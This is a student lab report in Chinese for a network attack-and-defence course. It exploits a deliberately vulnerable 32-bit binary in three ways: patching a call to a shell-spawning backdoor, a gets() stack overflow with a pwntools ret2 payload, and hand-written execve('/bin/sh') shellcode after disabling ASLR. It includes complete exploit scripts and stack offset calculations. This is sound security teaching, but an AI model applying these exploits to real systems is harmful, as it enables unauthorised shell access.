20253916 2025-2026-2 《网络攻防实践》实践9报告
实验一:对二进制文件直接作出修改,调用getShell函数
具体分析见实验二
我们只需要在主函数中将call foo函数直接更改为call getShell函数即可

在IDA中选中该call命令,在菜单栏选择Edit ->Patch Program -> Assemble

更改为call getShell

随后同样在菜单栏找到Edit ->Patch Program -> Apply patches to input file

建议勾选下方备份backup

重新再利用IDA打开pwn1文件,在main函数中,call命令已被修改

在虚拟机中运行该文件,运行前先给予权限,已经成功执行binsh

实验二:pwn分析
将下载好的文件拖入虚拟机中,我这里使用的是Ubuntu24.04 我的用户名为rain 已经安装了python虚拟环境
同时安装好了pwntools,以及checksec

本次实践的对象是一个名为pwn1的linux可执行文件。
使用soure 进入虚拟python环境

更改二进制可执行文件的访问权限 chmod a+x ./pwn1
使用checksec对该二进制文件进行检查

[*] '/home/rain/Desktop/test/pwn1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
文件为32位程序基本保护都没开,将该文件拖到32位IDA中进行分析

f5进行反编译,主函数中只调用了foo()函数双击进行跟进
int __cdecl main(int argc, const char **argv, const char **envp)
{
foo();
return 0;
}
具体foo函数如下所示,使用了gets()函数但并未做长度检测,同时程序默认保护都没开,可以利用栈溢出。
int foo()
{
char s[28]; // [esp+1Ch] [ebp-1Ch] BYREF
gets(s);
return puts(s);
}
s[28]在栈上空间长度为1C,所以覆盖空间为1C+ebp+ret
由于ebp与ret在32位情况下长度均为4字节(4*8=32位)

同时左侧getshell()函数留有后门操作,直接执行了/bin/sh 所以只需要劫持foo()函数的返回地址跳到getshell()函数即可,左侧getshell()函数地址为getshell_addr=0x804847d

foo函数的汇编如下:
.text:08048491 foo proc near ; CODE XREF: main+6↓p
.text:08048491
.text:08048491 s = byte ptr -1Ch
.text:08048491
.text:08048491 ; __unwind {
.text:08048491 push ebp
.text:08048492 mov ebp, esp
.text:08048494 sub esp, 38h
.text:08048497 lea eax, [ebp+s]
.text:0804849A mov [esp], eax ; s
.text:0804849D call _gets
.text:080484A2 lea eax, [ebp+s]
.text:080484A5 mov [esp], eax ; s
.text:080484A8 call _puts
.text:080484AD leave
.text:080484AE retn
.text:080484AE ; } // starts at 8048491
.text:080484AE foo endp
而对于整体攻击流程来讲则是使用
payload=b'a'*0x1c+p32(0)+p32(getshell_addr)
脚本与实验结果如下

from pwn import *
p=process('./pwn1')
context.log_level = 'debug'
elf = ELF('./pwn1')
getshell_addr=0x804847D
payload=b'A'*0x1C+p32(0)+p32(getshell_addr)
p.sendline(payload)
p.interactive()
具体原理如下
void getshell() {
system("/bin/sh");
}
void foo() {
char s[0x1c];
gets(s);
}
int main() {
foo();
return 0;
}
当 main() 调用 foo() 时,程序会执行类似这样的指令:
call foo 不只是跳转到 foo() 函数,它还会先把“返回地址”压入栈中。
返回地址的作用是:
当 foo() 执行结束后,程序知道应该回到哪里继续执行。
foo() 函数中的栈结构
进入 foo() 函数后,栈上的结构大致如下:
低地址
+----------------+
| s[0x1c] | 局部变量 s,占 0x1c 字节
+----------------+
| saved ebp | 保存的 ebp,占 4 字节
+----------------+
| return address | 返回地址,占 4 字节
+----------------+
高地址
其中:
s[0x1c] 是局部变量缓冲区
saved ebp 是上一个函数的栈基址
return address 是 foo() 执行结束后要跳回去的位置
而对于payload而言:
b'a' * 0x1c -> 填满 s 缓冲区
p32(0) -> 覆盖 saved ebp,占位
p32(getshell_addr) -> 覆盖返回地址
- 整体攻击流程
整个过程可以理解为:
main()
|
v
foo()
|
v
gets(s)
|
v
输入超长 payload
|
v
覆盖 saved ebp 和 return address
|
v
foo() 执行 ret
|
v
跳转到 getshell()
实验三:shellcode构造分析
首先关闭地址随机化echo 0 > /proc/sys/kernel/randomize_va_space,否则每次程序重新运行
使用gdb对该程序进行分析(装了pwndbg可能和别人不一样)

在main函数处打断点使用run命令执行

运行结果如下

使用ni命令执行到call foo 汇编语句

使用si进入该函数

使用n步过执行到call gets函数,在此我们可以看到读入的数据被存放在了0xffffcecc

随后执行call gets函数输入0x1c个a也就是28个a

数据被存放在了0xffffcecc

使用stack30可以看到栈的结果如下所示刚好0xffffcecc到ebp的距离为0x1c我们全部都能填满,此时ebp的地址为0xffffcee8,而foo函数的返回地址是0xffffcee8+0x4=0xffffceec,而我们要做的是把foo函数的返回地址覆盖为0xffffceec+0x4=0xffffcef0,在0xffffcef0处编写我们的shellcode进行执行

至此我们知道了该如何完成该套payload的编写,但我们直接使用的是gdb进行的调试,会导致栈地址不干净使得,你真正计算的栈地址和gdb拉起程序的栈地址不一致,因此我们需要使用gdb attach命令来对进程进行附加调试
因为我装了pwntools和pwndbg所以执行起来比较简单,直接在python脚本中使用gdb.debug('./pwn_20253917')就可以了
使用方法如下
from pwn import *
context(arch='i386',os='linux',log_level='debug')
p=gdb.debug('./pwn_20253917')
elf = ELF('./pwn_20253917')
p.interactive()
我们执行python shellcode.py后进行了gdb.debug附加调试,我们在main函数下断点以同样的方式进入到foo函数中执行call gets函数,当然你也可以直接使用b *0x804849a 来打断点,这里我直接对地址下断点,然后r重新执行程序就会卡在断点处

这时我们能看到程序在运行时真正的栈地址以及参数地址比如说我们输入字符串放在了0xffffce9c

借助于这个字符串以及之前的推理我们实际上能够知道我们要把返回地址放在哪里同时我们的payload该怎么去填充目前我们可以做到
ret_addr=0xffffce9c #字符串存放地址
ret_addr+=0x1c#字符串长度1c字节
ret_addr+=0x4#ebp4字节
ret_addr+=0x4#原ret所占4字节
所以最后ret_addr=0xffffcec0 也就是ebp+8的位置我们使用stack 30 查看栈,与我们计算一致

现在处理好了偏移问题接下来就是shellcode的问题了,目前有两种方案一种是手写,另一种是调用pwntools的shellcode = asm(shellcraft.sh())命令下面以手写为例,我把调用注释掉了
我们以同样的方式进行调试,运行到retn指令,此时返回地址已经被我们修改为了0xffffcec0,我们也在下方看到在执行我们的shellcode

我们退出本次调试更改脚本,取消断点
由于gdb.attach()和gdb.debug 也存在着初始栈不同的问题,因此这次使用gdb.debug来进行攻击
from pwn import *
context(arch='i386', os='linux',log_level = 'debug')
p=gdb.debug('./pwn_20253917')
#p=process('./pwn_20253917')
elf = ELF('./pwn_20253917')
assembly_code = """
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0xb
int 0x80
"""
shellcode = asm(assembly_code)
#shellcode = asm(shellcraft.sh())
ret_addr = 0xffffcec0
payload = b'A'*0x1c+b'BBBB'+p32(ret_addr)+shellcode
print(f"Payload length: {len(payload)} bytes")
print("Hex dump:", payload.hex())
p.sendline(payload)
p.interactive()
运行shellcode.py,在左侧使用c将程序启动

此时稍等即可在右侧输入指令,攻击成功

遇到的问题
一、即使关闭了地址随机化ASLR但因为gdb附加调试与,gdb直接拉起程序会导致出现不一样的栈帧地址,在过程中计算偏移量时,脚本始终打不通,调试方法也很简单,在攻击和调试的时候尽量使用同一方式来对程序进行调试。
采取直接拉起或是附加调试。
二、在之前尝试了直接把shellcode写在0x1c的栈上,也计算好了shellcode的长度,但最终还是攻击失败。
原因:由于retn指令的存在将esp拉到了较高的地址,此时程序跳转到buf的首地址,这个时候buf的地址要比esp要低。在执行push函数时,进行了压栈操作,导致最后的系统调用号被push eax覆盖,最终利用失败。
实际上还可利用栈迁移将esp重新迁移到较低的地址来完成栈布局
总结
本次实验围绕二进制程序漏洞分析与利用展开,涵盖可执行文件直接修改和栈溢出攻击两道题目。实验一采用IDA Pro汇编级补丁技术,通过Edit→Patch Program→Assemble将call foo替换为call getShell,直接修改机器码改变了程序的执行流程,成功调用/bin/sh。
实验二深入实践栈溢出攻击。用checksec检查发现pwn1是32位程序,未开启Stack Canary(栈溢出保护)、NX及PIE(地址随机化)等防护手段。分析源码发现foo()函数使用不安全的gets()读取输入且分配在栈上的char s[28]缓冲区无边界检查,是典型的栈溢出漏洞。通过IDA反汇编确认getshell()后门函数地址为0x804847d。在32位程序中,栈帧布局为缓冲区s占28字节叠加4字节ebp后即为返回地址,因此payload构造为b'A'*0x1C + p32(0) + p32(0x804847d)。该payload利用gets()溢出覆盖了foo()的返回地址,使函数返回时跳转到后门函数从而获取shell。
通过本次实验,我深刻理解了函数调用栈帧的内存布局(缓冲区、ebp、返回地址依次排列),认识到编译器对gets()等不安全标准库函数缺乏安全设计,而checksec工具可用于快速评估二进制文件的安全机制开启情况,为漏洞挖掘提供关键参考。

浙公网安备 33010602011771号